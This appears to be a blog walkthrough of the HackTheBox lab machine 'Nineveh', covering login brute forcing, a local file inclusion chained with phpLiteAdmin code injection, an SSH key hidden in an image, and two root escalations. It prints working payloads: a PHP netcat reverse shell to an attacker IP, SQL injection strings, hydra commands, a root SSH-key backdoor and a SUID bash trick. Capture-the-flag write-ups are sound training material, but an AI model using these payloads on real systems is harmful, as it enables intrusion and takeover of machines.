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HackTheBox - Nineveh

By yufongg
Posted 2022-08-24 Updated 2022-10-21 9 min read

Overview

This machine begins w/ a web enumeration, discovering a login page on both TCP/80 (HTTP) & TCP/443 (HTTPS) that is both susceptible to a bruteforce attack due to a weak password and the lack of bruteforce prevention.

On TCP/443, phpLiteAdmin 1.9 is running, it is susceptible to a RCE exploit, an attacker is able to create a database w/ a .php file extension and a insert a PHP reverse shell into the values of the table. Also, after directory enumeration, a directory containing an image is discovered, after analyzing the image, SSH private key is embedded into the image.

On TCP/80 there is a limited LFI vulnerability, combined w/ the exploit on TCP/443 (HTTPS) we are able to include the PHP reverse shell, obtaining a low-privilege/www-data shell.

For privilege escalation we have to escalate our privileges twice, once to Amorois and to root. To privilege escalate to Amrois, use the SSH key found from the image. There are 2 ways to obtain root, chkrootkit & Polkit

If you wish to practice the same/similar LFI try Vulnhub Zico2.

ColumnDetails
Box NameNineveh
IP10.10.10.43
Points-
DifficultyMedium
CreatorYas3r
Release Date04-Aug-2017

Recon

TCP/80 (HTTP)

FFUF - directory-2.3-medium.txt 

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┌──(root💀kali)-[~/htb/nineveh]
└─# ffuf -u http://nineveh.htb/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 

200      GET        5l       25w      178c http://10.10.10.43/index.html
200      GET      977l     5005w        0c http://10.10.10.43/info.php
301      GET        9l       28w      315c http://10.10.10.43/department => http://10.10.10.43/department/
403      GET       11l       32w      299c http://10.10.10.43/server-status
  • department

TCP/443 (HTTPS)

FFUF - directory-2.3-medium.txt 

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200      GET        1l        3w       49c https://10.10.10.43/index.html
301      GET        9l       28w      309c https://10.10.10.43/db => https://10.10.10.43/db/
403      GET       11l       32w      300c https://10.10.10.43/server-status
301      GET        9l       28w      319c https://10.10.10.43/secure_notes => https://10.10.10.43/secure_notes/
  • secure_notes
  • db

Initial Foothold

TCP/80 (HTTP) - Bruteforce Login

  1. Proceed to http://nineveh.htb/department, there is a login page
  2. Attempt SQLi Auth Bypass, failed!
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     # Payload
 ' OR 1=1#
 ' OR 1=1 -- -
  3. Attempt default creds, noticed something interesting
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     # Default Creds
 admin:admin
 admin:password

    • It tells us that the password is invalid, meaning the username admin is valid
  4. Bruteforce w/ hydra
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     ┌──(root💀kali)-[~/htb/nineveh]
 └─# hydra -l admin -P /usr/share/wordlists/rockyou.txt $ip http-post-form "/department/login.php:username=^USER^&password=^PASS^:Invalid Password!"  -VI
 ...
 [80][http-post-form] host: 10.10.10.43   login: admin   password: 1q2w3e4r5t
    • admin:1q2w3e4r5t
  5. Login w/ admin:1q2w3e4r5t

TCP/80 (HTTP) - LFI

  1. Found a potential LFI vulnerability
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     /manage.php?notes=files/ninevehNotes.txt

    • check your secret folder to get in! figure it out! - some sort of hint?
  2. Tried to directory enumerate /department/FUZZ, nothing found
  3. I tried to enumerate it w/ a local file inclusion wordlist but it failed, there is probably some sort of input sanitization/checks.
  4. To verify that ../ is not sanitized, I tried to go back a directory ../ and include ninevehNotes.txt, it worked!
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     # Current Dir
 /var/www/html/department

 # ninevehNotes.txt location
 /var/www/html/department/files/ninevehNotes.txt

 # Payload
 /manage.php?notes=../department/files/ninevehNotes.txt

 1. ../               : goes back 1 dir        = /var/www/html
 2. /department/files : cd into department dir = /var/www/html/department/files
 3. ninevehNotes.txt  : the file we want

    • Conclusion
      • ../ - not sanitized/filtered
  5. Next, I try to exclude the file extension (.txt), an error is triggered
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     /manage.php?notes=../department/files/ninevehNotes

    • ninvehNotes - No such file or directory
  6. However, if i try to include a file that I know exists (index.html, nineveh.png) it does not work, there is no output
    • 2 Conclusions
      • Only .txt files will be shown/reflected
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          # Hypothesis
  $path_parts = pathinfo('$_GET["notes"]');
			
  if $path_parts['extension'] = "txt"
      include $_GET["notes"]
      • Only filename that contains ninevehNotes will be shown
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          # Hypothesis
  $path_parts = pathinfo('$_GET["notes"]');
			
  if $path_parts['filename'] = "ninevehNotes"
      include $_GET["notes"]
  7. I tried to include ninevehNotes.html to see if an error is triggered,
    • ninevehNotes.html - No such file or directory
    • Conclusion
      • The file that we want to include is processed only if it is named ninevehNotes.<ext>
    • Since this is the case, we are not able to do LFI2RCE, move on to TCP/443 (HTTPS)

TCP/443 - Image Forensics

  1. Proceed to /secure_notes, there is an image displayed
  2. Tried to directory enumerate /secure_notes/FUZZ, nothing found
  3. Download the image nineveh.png
  4. Check for comments w/ exiftool
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     ┌──(root💀kali)-[~/htb/nineveh]
 └─# exiftool nineveh.png 
 ExifTool Version Number         : 12.39
 File Name                       : nineveh.png
 Directory                       : .
 File Size                       : 2.8 MiB
 File Modification Date/Time     : 2022:08:24 01:40:57+08:00
 File Access Date/Time           : 2022:08:24 01:40:56+08:00
 File Inode Change Date/Time     : 2022:08:24 01:40:57+08:00
 File Permissions                : -rw-r--r--
 File Type                       : PNG
 File Type Extension             : png
 MIME Type                       : image/png
 Image Width                     : 1497
 Image Height                    : 746
 Bit Depth                       : 8
 Color Type                      : RGB
 Compression                     : Deflate/Inflate
 Filter                          : Adaptive
 Interlace                       : Noninterlaced
 Significant Bits                : 8 8 8
 Software                        : Shutter
 Warning                         : [minor] Trailer data after PNG IEND chunk
 Image Size                      : 1497x746
 Megapixels                      : 1.1
    • No comments
  5. Check if there are any files embeded in the image w/ binwalk, there is!
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     ┌──(root💀kali)-[~/htb/nineveh]
 └─# binwalk -eM --run-as=root nineveh.png 
	
 Scan Time:     2022-08-24 01:41:19
 Target File:   /root/htb/nineveh/nineveh.png
 MD5 Checksum:  353b8f5a4578e4472c686b6e1f15c808
 Signatures:    411
	
 DECIMAL       HEXADECIMAL     DESCRIPTION
 ------------------------------------------------------------------------------
 0             0x0             PNG image, 1497 x 746, 8-bit/color RGB, non-interlaced
 84            0x54            Zlib compressed data, best compression
 2881744       0x2BF8D0        POSIX tar archive (GNU)
	
	
 Scan Time:     2022-08-24 01:41:20
 Target File:   /root/htb/nineveh/_nineveh.png.extracted/54
 MD5 Checksum:  d41d8cd98f00b204e9800998ecf8427e
 Signatures:    411
	
 DECIMAL       HEXADECIMAL     DESCRIPTION
 ------------------------------------------------------------------------------
	
	
 Scan Time:     2022-08-24 01:41:20
 Target File:   /root/htb/nineveh/_nineveh.png.extracted/secret/nineveh.priv
 MD5 Checksum:  f426d661f94b16292efc810ebb7ea305
 Signatures:    411
	
 DECIMAL       HEXADECIMAL     DESCRIPTION
 ------------------------------------------------------------------------------
 0             0x0             PEM RSA private key
	
	
 Scan Time:     2022-08-24 01:41:20
 Target File:   /root/htb/nineveh/_nineveh.png.extracted/secret/nineveh.pub
 MD5 Checksum:  6b60618d207ad97e76664174e805cfda
 Signatures:    411
	
 DECIMAL       HEXADECIMAL     DESCRIPTION
 ------------------------------------------------------------------------------
 0             0x0             OpenSSH RSA public key
    • secret directory
      • This is probably what the note is refering to
      • Contains SSH private key, however TCP/22 (SSH) is not up, we might be able to use it later.

TCP/443 (HTTPS) - phpLiteAdmin v1.9 RCE

  1. Proceed to db we see phpLiteAdmin v1.9, the moment I saw this, I knew by combining the LFI exploit and phpLiteAdmin v1.9 exploit, we can obtain a low-privilege shell.
    • Vulnhub Zico2 - InitialFoothold has the same exploit!
  2. Bruteforce w/ hydra again
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     ┌──(root💀kali)-[~/htb/nineveh]
 └─# hydra -l admin -P /usr/share/wordlists/rockyou.txt $ip https-post-form "/db/index.php :password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect password."  -VI
	
 [443][http-post-form] host: 10.10.10.43   login: admin   password: password123
    • admin:password123

  3. Search exploits for phpLiteAdmin

    Exploit TitlePath
    PHPLiteAdmin 1.9.3 - Remote PHP Code Injectionphp/webapps/24044.txt
  4. Try php/webapps/24044.txt
    1. How does the exploit work?
      • An attacker is able to create a Database w/ a php extension and insert PHP code as text fields in the Database, by accessing the file, PHP code is executed.
    2. Create a new database called ninevehNotes.php
      • Only files that are named ninevehNotes.<any ext> will be processed
    3. Create table called RCE
    4. Add field name w/ a default value of a PHP Code to read /etc/passwd
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       Default Value
 <?php system("cat /etc/passwd");?>

    5. View location of database
      • /var/tmp/ninevehNotes.php
    6. We will head back to the LFI exploit

TCP/80 (HTTP) - LFI2RCE

  1. Include /var/tmp/ninevehNotes.php, it works!
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     # Current Dir
 /var/www/html/department
	
 # ninevehNotes.php location
 /var/tmp/ninevehNotes.php
	
 # Payload
 /manage.php?notes=../../../tmp/ninevehNotes.php
	
 1. ../../../         : goes back 3 dir        = /var
 2. /tmp/files        : cd into /tmp           = /var/tmp/
 3. ninevehNotes.php  : the file we want

  2. Create another table called RCE2
  3. Add field name w/ a default value of a PHP Code to invoke a reverse shell
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     <?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.31 4444 >/tmp/f");?>

  4. Start listener
  5. Execute reverse shell by including ninevehNotes.php
  6. Shell obtained
  7. Obtain a more stable shell
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     $ python3 -c 'import pty;pty.spawn("/bin/bash")'
 www-data@nineveh:/home/amrois$

Privilege Escalation - 1

Amrois - Via SSH Private Key

  1. Earlier, we found SSH private key, transfer it to http://nineveh.htb
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     www-data@nineveh:/tmp$ wget 10.10.14.31/nineveh.priv
 --2022-08-23 14:34:21--  http://10.10.14.31/nineveh.priv
 Connecting to 10.10.14.31:80... connected.
 HTTP request sent, awaiting response... 200 OK
 Length: 1675 (1.6K) [application/octet-stream]
 Saving to: 'nineveh.priv'
	
 nineveh.priv                  100%[==============================================>]   1.64K  --.-KB/s    in 0s      
	
 2022-08-23 14:34:21 (262 MB/s) - 'nineveh.priv' saved [1675/1675]
  2. Change permission of nineveh.priv and SSH
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     www-data@nineveh:/tmp$ chmod 600 nineveh.priv 
 www-data@nineveh:/tmp$ ssh amrois@localhost -i nineveh.priv
  3. Obtained amrois shell & User Flag
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     390ff4e95074a5a0499f8e065fcedce9

Root - Via CVE-2021-4034

  1. Found something interesting w/ linpeas.sh
    • CVE-2021-4034
  2. Try CVE-2021-4034.py
    1. How does the exploit work?
      • Polkit (formerly PolicyKit) is a component for controlling system-wide privileges in Unix-like operating systems. It provides an organized way for non-privileged processes to communicate with privileged processes.
      • Due to an improper implementation of the pkexec tool, an out-of-bounds memory access can be leveraged by a local attacker to escalate their privileges to system root.
    2. Download Exploit
    3. Transfer to nineveh.htb & Exploit
  3. Obtained Root Shell & Root Flag
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     3fa9f72b3965a409759533e147293627

  4. Obtain a persitent/stable root access
    1. Create private key for Amorois
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       amrois@nineveh:/tmp$ ssh-keygen -t rsa
    2. Create /root/.ssh
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       # mkdir -p /root/.ssh
    3. Place Amrois public key into /root/.ssh/authorized_keys
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       echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD6ItIHY3OMLlsiLCB0FlW7Q5kGTHbORLFAxKzj3xS3mic7t2GDgwOEX2ZZQF5QVJQlRkZ/OGU3Fc++TCtKXSBvaWjAs3DIqaucyfaOaJ/MVi4sVzpRB4diErdjsGStx81QcoV8vl1o+GGHSjIHJsBbuVirVrE665RUu4M62tdk8bzzRj8j7gAVPOxYPO6UIQfjtA3n80cGCQnRLRhQivO4icxo+neiP/W9esV/JwjTYUzowynR86PF+ae9ABkdUveBQqWso8tI7/pGE9DycNLgfaXR9mGwH1ZQzySiG4mlyty568GCQvvhWkryHG4WhqE4NKbOUJlgvGXUevl/h3Rl amrois@nineveh" > /root/.ssh/authorized_keys
    4. Change permission of authorized_keys
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       chmod 700 /root/.ssh
 chmod 600 /root/.ssh/authorized_keys
    5. SSH w/ Amorois private key
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       amrois@nineveh:~/.ssh$ ssh -i yes root@localhost

Privilege Escalation - 2

Root - Chrookit Exploit

  1. Found something interesting w/ pspy64
    • chkrootkit is executed as root.

  2. Search exploits for chkrootkit

    Exploit TitlePath
    Chkrootkit 0.49 - Local Privilege Escalationlinux/local/33899.txt
  3. Try 33899.txt
    1. How does the exploit work?
      • The line 'file_port=$file_port $i' will execute all files specified in $SLAPPER_FILES as the user chkrootkit is running (usually root), if $file_port is empty, because of missing quotation marks around the variable assignment.
    2. /tmp/update will be executed as root due to the vulnerability
    3. Create script to set SUID bit on /bin/bash
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       amrois@nineveh:~$ nano /tmp/update
		
 cp /bin/bash /tmp/rootbash; chmod u+s /tmp/rootbash

 amrois@nineveh:~$ chmod +x /tmp/update
    4. Wait for chkrootkit to execute
    5. Obtained Root Shell
HackTheBox, HackTheBox - Linux
exploit/file-inclusion/lfi image-forensics
This post is licensed under CC BY 4.0 by the author.
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